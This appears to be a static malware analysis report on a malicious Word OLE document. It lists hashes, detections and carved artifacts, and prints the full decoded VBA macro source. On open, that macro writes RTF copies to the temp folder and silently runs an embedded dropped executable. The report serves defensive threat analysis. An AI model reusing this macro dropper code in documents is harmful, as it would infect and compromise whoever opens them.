Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d077b560703de07d…

MALICIOUS

Office (OLE)

333.5 KB Created: 2015-11-19 12:23:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: c253c04c6131e88fec0af2106e82087c SHA-1: ce1fa61ee65b323e1cde094d260727b7762ba91f SHA-256: d077b560703de07dcb0727eb29c99bc6d836aea04337870cb8d02ab6d246d743
574 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File T1027 Obfuscated Files or Information

The sample contains VBA macros with AutoOpen and Workbook_Open subroutines, indicating an attempt to execute code upon opening. The macros leverage CreateObject to potentially drop and execute a second-stage payload, identified as 'embedded_office_00006856.exe'. The script also attempts to create a persistence mechanism by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 18

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    rybvhja = Shell(yus, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set hhggdGhs = CreateObject("Word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Environ$(RYTQFWDA) + BHQJDASDDD
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2126 bytes
SHA-256: 7b620fc788f4dc00de007d414f54042b279608897d0624da2477e6caf5bec2be
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Shuqhygvds()
    QTFDHAGSD = "oquwdqgw jahsd kjqwuidhq iuwgdsad"
    jJuhbnsdgGbs
End Sub
Sub jJuhbnsdgGbs()
Dim BBBYGDS As String, haa As Integer
haa = Val(Left(DatePart("yyyy", "21/08/2008"), 2))
RYTQFWDA = "TEM"
haa = haa - 21
On Error Resume Next
BHQJDASDDD = "" + "\"
RYTQFWDA = RYTQFWDA & "P"
MANASD = _
Environ$(RYTQFWDA) + BHQJDASDDD
KKGG = "."
TETE = KKGG + "e" & Chr(haa + 120 + 1) & "e"
JNBBH = KKGG + "rtf"

TTTDADSS = MANASD + "12" + JNBBH
RRTFDASD = MANASD + "13" + JNBBH
BBBYGDS = MANASD + "st10" + TETE

Lamataka (TTTDADSS)
Lamataka (RRTFDASD)
Bhbdadw (2)
Set hhggdGhs = CreateObject("Word.Application")
hhggdGhs.Visible = False
hhggdGhs.Documents.Open (TTTDADSS)
Bhbdadw (2)
HQUDHSA = Module1.Mshduwh(BBBYGDS)
Bhbdadw (1)
hhggdGhs.Quit
Set hhggdGhs = Nothing
End Sub
Sub AutoOpen()
    GFDYUQWD = "jaksd jhqkjdhkqw"
    Shuqhygvds
End Sub
Sub Bhbdadw(Sokora As Long)
Dim HJBDAS As String, Lotor As Long
Lotor = Timer + Sokora
Do While Timer < Lotor
DoEvents
Loop
TVHGASD = "lqkp[dqo d[p2101ie po o"
End Sub
Sub Workbook_Open()
    TGVJQHBDAS = "qwod qwidpqwi092iu doiasid892"
    jJuhbnsdgGbs
End Sub
Public Function Lamataka(Hhgds As String)
    ActiveDocument.SaveAs FileName:=Hhgds, FileFormat:=wdFormatRTF
End Function
Sub Auto_Open()
    jJuhbnsdgGbs
    FQGWDASD = "qowdi 901u89d1dy78 uhjk"
End Sub














Attribute VB_Name = "Module1"
Sub YGbansdqw()
Dim efybjasd As String
End Sub
Sub Jdnnsdqw()
Dim efybjasd As String
YQBDASD = "nqndugqwh jdkqljd lqkw"
YWEFJHASD = "alsjdiowqi odhuqiw dq"
End Sub
Public Function Mshduwh(yus As String)
Dim rybvhja As Variant
rybvhja = Shell(yus, 0)
TRGJHQWDAS = "qiowd uqwhdkjals;diq wdl"
End Function
Public Function NuhwdbasS()
VGQJDAKSD = "qwidoq wud892y khj"
End Function
embedded_office_00006856.exe embedded-pe Office MZ+PE at offset 0x6856 314798 bytes
SHA-256: 84cc19b149f7b5a479c48fe13d1759b51b30be296e16f51a2c42a91dd1d00a06
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1509982770/Ole10Native 288996 bytes
SHA-256: 0eb40653db47cf4733a3b0f5112e93e50baa214faaa304db43d4432367ceaaf8
ole10native_00_st10.exe ole-package-payload OLE Ole10Native payload: ObjectPool/_1509982770/Ole10Native; display_name=st10.exe; full_path=C:\Users\M\AppData\Local\Temp\st10.exe; temp_path=; def_file= 288768 bytes
SHA-256: d44082db4608aca6eaab1bd84b50586bbfbde7b3e4d656310302a4335876d253

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